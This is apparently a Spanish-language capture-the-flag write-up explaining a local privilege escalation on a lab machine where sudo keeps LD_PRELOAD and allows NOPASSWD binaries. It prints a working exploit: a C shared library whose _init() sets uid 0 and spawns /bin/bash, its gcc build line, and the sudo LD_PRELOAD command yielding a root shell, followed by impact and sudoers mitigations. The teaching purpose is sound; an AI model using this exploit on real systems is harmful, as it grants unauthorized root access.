1. sudo y privilegios
El comando sudo permite a usuarios ejecutar comandos con privilegios de otro usuario, normalmente root. Por seguridad, sudo suele requerir autenticación y tiene una política estricta sobre qué comandos puede ejecutar cada usuario.
El comando sudo -l, nos muestra los privilegios que tiene el usuario paul en el sistema preload. La salida relevante es:
paul@preload:~$ sudo -l
Matching Defaults entries for paul on preload:
env_reset, mail_badpass, env_keep+=LD_PRELOAD,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User paul may run the following commands on preload:
(root) NOPASSWD: /usr/bin/cat, /usr/bin/cut, /usr/bin/grep, /usr/bin/tail,
/usr/bin/head, /usr/bin/ssObservaciones importantes
==
NOPASSWD==: Significa quepaulpuede ejecutar esos comandos como root sin necesidad de contraseña. Esto ya es un potencial riesgo si esos comandos pueden ser explotados de alguna manera.==
env_keep+=LD_PRELOAD==: Esto indica quesudono limpia la variable de entornoLD_PRELOAD. Normalmente,sudoelimina variables que podrían afectar la ejecución de comandos para prevenir ataques, pero aquí permite que el usuario manipule LD_PRELOAD incluso al usar sudo.
2. ¿Qué es LD_PRELOAD?
LD_PRELOAD es una variable de entorno utilizada en sistemas Linux con la biblioteca dinámica (glibc), que indica al cargador dinámico, que cargue ciertas librerías antes de cualquier otra.
Esto tiene aplicaciones legítimas, como:
- Redefinir funciones de bibliotecas estándar para depuración o testing.
- Sobrescribir funciones de manera controlada.
Pero también puede ser un vector de ataque: si un usuario puede cargar una librería propia antes de que se ejecute un binario privilegiado, puede ejecutar código arbitrario con los privilegios de ese binario.
3. La vulnerabilidad
En este caso:
- El usuario
paulpuede ejecutar comandos de root consudosin contraseña. sudopermite pasarLD_PRELOADal entorno del comando privilegiado.
Esto significa que paul puede cargar una librería maliciosa mientras ejecuta un binario como root.
4. Explotación paso a paso
a) Creación de la librería maliciosa
El código pwned.c es:
❯ cat pwned.c
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}Explicación línea por línea:
==
void _init() { ... }==_init()es una función especial en bibliotecas compartidas que se ejecuta automáticamente al cargar la librería, antes de cualquier otra función del binario.
==
unsetenv("LD_PRELOAD");==- Evita recursión: si la variable
LD_PRELOADsigue activa, podría intentar cargar la librería repetidamente causando errores.
- Evita recursión: si la variable
==
setgid(0); setuid(0);==- Cambia el grupo y usuario efectivo a root (ID 0). Esto es crítico: garantiza que la shell que ejecutemos tenga privilegios de root.
==
system("/bin/bash");==- Lanza una shell interactiva como root.
b) Compilación de la librería
gcc -fPIC -shared -o pwned.so pwned.c -nostartfiles- ==
-fPIC==: genera código independiente de posición (requerido para librerías compartidas). - ==
-shared==: indica que compilamos una librería compartida (.so). - ==
-nostartfiles==: evita vincular la inicialización estándar de C, lo cual es opcional aquí.
c) Ejecución con sudo y LD_PRELOAD
sudo LD_PRELOAD=/tmp/pwned.so ss==
ss== es un binario permitido para ejecutar como root segúnsudo -l.==
LD_PRELOAD=/tmp/pwned.so== fuerza a que se cargue nuestra librería maliciosa al iniciarss.
Como resultado, _init() se ejecuta antes que ss, escalando privilegios y abriendo una shell como root:
paul@preload:/tmp$ gcc -fPIC -shared -o pwned.so pwned.c -nostartfiles
paul@preload:/tmp$ sudo LD_PRELOAD=/tmp/pwned.so ss
root@preload:/tmp#5. Impacto de la vulnerabilidad
Escalada de privilegios local: Un usuario sin privilegios puede obtener root en el sistema.
Debilidad crítica en sudo: Mantener
LD_PRELOADenenv_keepes un error grave si cualquier binario ejecutable con sudo es vulnerable a carga de librerías.Facilidad de explotación: No requiere exploits complejos ni vulnerabilidades del kernel; solo manipulación de entorno y compilación de una librería.
6. Cómo mitigarlo
- Evitar permitir
LD_PRELOADen sudo:- Eliminarlo de
env_keepen/etc/sudoers:Defaults !env_keep+="LD_PRELOAD"
- Eliminarlo de
- Revisar comandos permitidos:
- Evitar permitir la ejecución de binarios que puedan ser manipulados con librerías compartidas (casi cualquier binario que use glibc dinámico).
- Auditoría regular de sudoers:
- Revisar quién puede ejecutar comandos con NOPASSWD y qué variables de entorno están permitidas.